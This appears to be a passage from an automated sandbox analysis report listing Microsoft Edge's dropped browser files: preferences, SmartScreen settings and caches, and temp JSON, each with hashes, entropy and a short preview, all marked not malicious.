SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.013243368381833
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUkJRn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUkL
MD5:	41FE3882079D916C9F1B00755545E282
SHA1:	5DDB7484E8B47D8E7103C04831E2470FA003E89A
SHA-256:	11F9D477FA56DAA41FADD45ADD6584E052673A70239F0D0CDDC3500A93FEF56D
SHA-512:	71A4F03C3B7F63D351E68B48C2C0FE4179EBF147F3F4F0CB2E1F4966307F91A81221BDE033477A0DD94E2E710B0E1AC7C9B7FC8041C9082770C982910316CE9A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731859293007616}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a4a1c69c-db8f-4024-85a4-f04bbd161b06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46120
Entropy (8bit):	6.088729226176731
Encrypted:	false
SSDEEP:	768:FMkbJrT8IeQcrQguo2+CuehDO6vP6Oc+HwznXFWqvELbQQkHX1hICAoOGoup1Xlu:FMk1rT8HOo2G6ZL0THgRoOhu3VlXr4P
MD5:	9E8113CE5E252A38B2F8090C71B84FDA
SHA1:	F33D93FEC0D23B76530C6B247D78D7D7A5D86A84
SHA-256:	2EAB52C1C64AA81D5A46AE0FB6A71B21CE20B40F96205721E6BB6BA02228A2C1
SHA-512:	C250068063A03DDA9D815B75E5A9B2B6CA258FA8AC4697074C560A9D48512E2060E93327D00607F20D35E623E6B7CE45D673D90AE97641B32D07F23760E641DC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731758493"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a706f2ed-49d5-45e0-a1a2-e62001999da2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45996
Entropy (8bit):	6.089012489021657
Encrypted:	false
SSDEEP:	768:FMkbJrT8IeQcrQgx92nCuehDO6vP6Oc+HwzvXFWqvELbQQkHX1hICAoOGoup1Xlu:FMk1rT8HR92h6FL0THgRoOhu3VlXr4P
MD5:	75454750EE7B28A78C4EAC02AA626916
SHA1:	0D4BD4877DAF19D97C7EA25AAC7918C0EDAA4481
SHA-256:	06F6F2D49A0CA438101A2957AA63C6A2554E33A58CAC3FF344280B25D9B8E89B
SHA-512:	1A9CB2BD6C6B809796C6B3F7017A9DAB9C4212508325707EFAFC1DA51CEDF764F630BEEA8EAF01D6FB3B65435654DCD8B695B2E4BC74D8EF44164B4A906BDE54
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731758493"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b30dc819-542f-47b9-9e54-13814511fd01.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.096575741054309
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBQwuVhDO6vP6Oc+HwzvXFWqvEcGoup1Xl3jVzXr4z:z/Ps+wsI7yOEx6Fchu3VlXr4CRo1
MD5:	6CB536C6AD51FBD4D30591C76E09C502
SHA1:	221B7971CC46DA0009AB1DA428B8F117C4F39501
SHA-256:	E6BDEAE8D57CC3900A0A29D5C7BC37155727FB04FBF6CA9B0AA4676A0989E771
SHA-512:	D33E9B7E1AC797076114C640FC4395799F61107843EC9F2324C8C27B848C4E957D132D7E1CE9E8CE345F3004DC1631A7B1B98664D82781C50CF1E0EE02102AAD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bf74cf07-440b-49b4-b988-5eb89a855a61.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46120
Entropy (8bit):	6.088726653107743
Encrypted:	false
SSDEEP:	768:FMkbJrT8IeQcrQgu92+CuehDO6vP6Oc+HwznXFWqvELbQQkHX1hICAoOGoup1Xlu:FMk1rT8HO92G6ZL0THgRoOhu3VlXr4P
MD5:	60D2081A937D9763181E4454E7F9A03C
SHA1:	39923E308C8A734DD373D18CFE03983BB6B081EC
SHA-256:	7873FBB0D38138CF6CB5FD2AB9ABF18CA183389D33429E4CD032A6F5C6D217B0
SHA-512:	4D5D1DC7DF466858B5C59CFE86B92B51896683182C8BC676431D1242ACE461462D2F4E307D977326D6CAA751414AC299D9D2C18A75DC233EEF381BE479AC7086
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731758493"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d3b9cacd-beef-4adc-a38c-449442be9cdc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46043
Entropy (8bit):	6.08880411421341
Encrypted:	false
SSDEEP:	768:FMkbJrT8IeQcrQgx92+CuehDO6vP6Oc+HwzvXFWqvELbQQkHX1hICAoOGoup1Xlu:FMk1rT8HR92G6FL0THgRoOhu3VlXr4P
MD5:	08574A1D047A41D22068116E7734D470
SHA1:	8204B08424DAFB895B8331203783D091C200C709
SHA-256:	BD7D49D80228466CE0100616829EE4067E9DC41C1EA2F850BC9671EEA344CC4C
SHA-512:	31C2B409FAB68E84710A0AAA77FEC86BA1E35645133E37EAF3BE9617C061D799396AF1FA659A6EED12E9A8020817BCF63C9B02EB642345E4BCDC0EEC36D46E47
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731758493"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
